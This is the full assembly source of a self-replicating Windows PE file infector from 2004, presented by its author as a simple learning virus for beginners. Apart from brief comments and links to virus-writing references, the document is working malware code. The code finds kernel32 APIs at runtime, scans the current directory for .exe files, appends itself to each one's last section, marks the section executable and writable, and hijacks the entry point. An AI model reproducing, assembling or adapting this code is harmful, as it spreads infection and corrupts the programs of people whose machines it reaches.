Most simple learning pevirus [by BlueOwl]
; Most simple learning pevirus by BlueOwl
; ***************************************
;
; What is this virus for?
; ***********************
;
; I made this virus because i wanted to make the most simple to understand
; and straightforward virus possible for beginners. It does not contain
; alot of comment(block)s, but instead I tried to minimize them. When I
; first started, i could not find a simple, straightforward, compatible
; virus for windows to learn off and expirement on. I created this virus,
; now about a year later, for this purpose. It has been optimized towards
; read- and understandability, *not* for speed and size, as those four do not
; go hand in hand.
;
; Format
; ******
;
; I coded this piece in the following way (just to keep things simple):
; .macro - to be able to call api functions as normal
; .equates - equates to make the code more comprehensible
; .code - the main code of the virus
; .data - the data used by the virus
; .data? - undefined data used by the virus (to store things in)
; .host - simple address the virus returns to as if it was the host
;
; At the end of this document are references, which you can use if you do not
; understand something about the way something is done here. Use them!
;
; Last words
; **********
;
; If you have a question you cannot resolve on your own, or have something to
; say to me please mail me at xblueowl at hotmail.com. :)
;
; Thanks DiA for betareading. :)
; Assemble with FASM (I used 1.54) from http://www.flatassembler.net.
include '%fasminc%/win32ax.inc'
; .macro
macro wcall proc,[arg] ; wcall procedure (indirect) (modified FASM invoke macro)
{ common ; a macro for calling windows apis ;)
if ~ arg eq
stdcall [ebp+proc],arg
else
call [ebp+proc]
end if }
; .equates
; simple equates
virus_size equ (virus_end-virus_start)
sizeof_searchfile equ 314d
filesize_variable equ 32d
program_name equ 44d
program_original_attributes equ 0d
minimum_program_size equ 1024d
mzheader_size_variable equ 60d
default_section_size equ 40d
api_names equ 32d
api_ordinals equ 36d
api_rvas equ 28d
; peheader (offsets) ** Reference 1
section_count equ 6d
program_entrypoint equ 40d
imagebase equ 52d
win32_version equ 76d
imagesize equ 80d
directory_entrys equ 116d
default_optionalheader_size equ 120d
exporttable_rva equ 120d
; sectionheader (offsets)
section_virtual_size equ 8d
section_rva equ 12d
section_physical_size equ 16d
section_offset equ 20d
section_flags equ 36d
flags_read_write_execute equ 0A0000020h
; .code
virus_start: pop ebx ; ebx = somewhere in k32
push ebx
call get_delta
get_delta: pop ebp
sub ebp, get_delta
and ebx, 0ffff0000h ; remove all the lower bits
find_k32: cmp word [ebx], "MZ"
jz k32_found
sub ebx, 000010000h ; next possible k32 place
jmp find_k32
k32_found: mov edx, [ebx+mzheader_size_variable]
add edx, ebx
cmp dword [edx], "PE"
jnz find_k32
mov edx, [edx+exporttable_rva]
add edx, ebx ; edx = export table va
mov esi, [edx+api_names]
add esi, ebx ; esi = va to function names
sub ecx, ecx ; ecx = 0
find_GetProcAddress: ; GetProcAddress -> ** Reference 2
inc ecx
lodsd ; eax = address to function name
add eax, ebx
cmp dword [eax], "GetP"
jnz find_GetProcAddress
cmp dword [eax+4], "rocA"
jnz find_GetProcAddress
cmp dword [eax+8], "ddre"
jnz find_GetProcAddress
mov esi, [edx+api_ordinals]
add esi, ebx
movzx ecx, word [esi+ecx*2] ; ecx = name ordinal (movzx -> Reference 0)
dec ecx
mov esi, [edx+api_rvas]
add esi, ebx
mov edx, [esi+ecx*4]
add edx, ebx ; edi = address of GetProcAddress
mov [ebp+GetProcAddress], edx
lea esi, [ebp+kernel32_apis]
lea edi, [ebp+kernel32_hndls]
mov ecx, 11 ; 11 apis
load_apis: push esi edi ecx ebx ; these apis must be saved
wcall GetProcAddress, ebx,esi ; call GetProcAddress
pop ebx ecx edi esi
stosd ; save handle
find_end_of_api:lodsb ; load a byte
cmp al, 0 ; is this byte a zero (end of api)
jnz find_end_of_api
loop load_apis
apis_loaded: wcall GlobalAlloc, GMEM_FIXED,sizeof_searchfile
cmp eax, NULL
jz globalalloc_failed
mov [ebp+findfile_mem], eax
lea eax, [ebp+exe_mask]
wcall FindFirstFile, eax,[ebp+findfile_mem]
cmp eax, INVALID_HANDLE_VALUE
je find_files_failed
mov [ebp+findfile_handle], eax
more_hosts: push [ebp+original_entrypoint]
call infect_file
pop [ebp+original_entrypoint]
wcall FindNextFile, [ebp+findfile_handle],[ebp+findfile_mem]
cmp eax, NULL
jnz more_hosts
wcall FindClose, [ebp+findfile_handle]
find_files_failed:
wcall GlobalFree, [ebp+findfile_mem]
globalalloc_failed:
jmp [ebp+original_entrypoint]
infect_file: mov edi, [ebp+findfile_mem]
mov eax, [edi+filesize_variable] ; eax = size of program
cmp eax, minimum_program_size
jb program_not_valid
add eax, virus_size ; eax = calculated new size of program
mov [ebp+program_newsize], eax
lea esi, [edi+program_name]
wcall SetFileAttributes,esi,FILE_ATTRIBUTE_NORMAL
cmp eax, NULL
jz program_not_valid
wcall CreateFile, esi,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,NULL,\
OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
cmp eax, INVALID_HANDLE_VALUE
jz error_open_program
mov [ebp+file_handle], eax
wcall GlobalAlloc, GMEM_FIXED,[ebp+program_newsize] ; make a buffer ready
cmp eax, NULL
jz error_load_buffer
mov [ebp+mem_handle], eax
lea eax, [ebp+nbrw]
wcall ReadFile, [ebp+file_handle],[ebp+mem_handle],dword [edi+filesize_variable],eax,NULL
cmp eax, NULL
jz error_read_program
wcall SetFilePointer, [ebp+file_handle],NULL,NULL,FILE_BEGIN
cmp eax, 0FFFFFFFFh
jz error_read_program
mov ebx, [ebp+mem_handle]
cmp word [ebx], "MZ"
jnz error_invalid_program
mov edi, [ebx+mzheader_size_variable]
add edi, ebx ; edi = peheader
cmp dword [edi], "PE"
jnz error_invalid_program
cmp dword [edi+win32_version], "HOST" ; infection sign
jz error_invalid_program
mov dword [edi+win32_version], "HOST" ; put infection sign
mov esi, edi
movzx eax, word [edi+section_count]
dec eax
imul eax, default_section_size
add esi, eax
add esi, default_optionalheader_size
mov edx, [edi+directory_entrys]
shl edx, 3
add esi, edx ; esi = the last section
mov eax, [esi+section_rva]
add eax, [esi+section_physical_size]
xchg eax, [edi+program_entrypoint] ; save new entry point and get old one
add eax, [edi+imagebase]
mov [ebp+original_entrypoint], eax
mov ecx, virus_size
add [esi+section_virtual_size], ecx
mov eax, [esi+section_virtual_size]
add eax, [esi+section_rva]
mov [edi+imagesize], eax ; last imagesize = section rva + virtual size
mov eax, [esi+section_physical_size]
add [esi+section_physical_size], ecx
or dword [esi+section_flags], flags_read_write_execute
mov edi, [esi+section_offset]
add edi, ebx
add edi, eax ; edi = ptr to end of last section
lea esi, [ebp+virus_start]
rep movsb
lea eax, [ebp+nbrw]
wcall WriteFile, [ebp+file_handle],[ebp+mem_handle],[ebp+program_newsize],eax,NULL
error_invalid_program:
error_read_program:
wcall GlobalFree, [ebp+mem_handle]
error_load_buffer:
wcall CloseHandle, [ebp+file_handle]
error_open_program:
mov edi, [ebp+findfile_mem]
lea eax, [edi+program_name]
wcall SetFileAttributes,eax,dword [edi+program_original_attributes]
program_not_valid:
ret
; .data
kernel32_apis: db "CloseHandle",0 ; Kernel32.dll Apis
db "CreateFileA",0
db "FindClose",0
db "FindFirstFileA",0
db "FindNextFileA",0
db "GlobalAlloc",0
db "GlobalFree",0
db "ReadFile",0
db "SetFileAttributesA",0
db "SetFilePointer",0
db "WriteFile",0
exe_mask db "*.exe",0
original_entrypoint dd fake_host_addr
; .data?
kernel32_hndls: CloseHandle dd ? ; Kernel32.dll ApiHandles
CreateFile dd ?
FindClose dd ?
FindFirstFile dd ?
FindNextFile dd ?
GlobalAlloc dd ?
GlobalFree dd ?
ReadFile dd ?
SetFileAttributes dd ?
SetFilePointer dd ?
WriteFile dd ?
GetProcAddress dd ? ; GetProcAddress handle
findfile_mem dd ? ; Other handles
findfile_handle dd ?
program_newsize dd ?
file_handle dd ?
mem_handle dd ?
nbrw dd ? ; Number of bytes read/written (for Read/WriteFile)
virus_end:
; .host
fake_host_addr: ret
; *************************************************************************************
; References
;
; These are some references referenced from within the virus. I supplied some MD5s
; so you can be sure they are the same if you wish. I hope they are of some use.
;
; #0 About instruction meanings
;
; - OPCODES.HLP (http://madchat.org/coding; MD5: 0E443216DA2D57CE9E0F593168D70B88)
;
; #1 About the PE Format/offsets
;
; - VXTASY#1.206 "THE PE-FORMAT" (http://vx.netlux.org)
; - XINE-5.106: "A short re-view of the PE format"
; (http://vx.netlux.org or http://www.s0ftpj.org/archive/ikx)
;
; #2 About api functions
;
; - WIN32.HLP (You can find it anywhere, there are multiple versions; Mine:
; MD5: CCB83A2ED1D620209C1B7B688C79EE0A / 75AC98220F8C520430CBF302032C8426)
;
;
; BlueOwl 22 august, 2004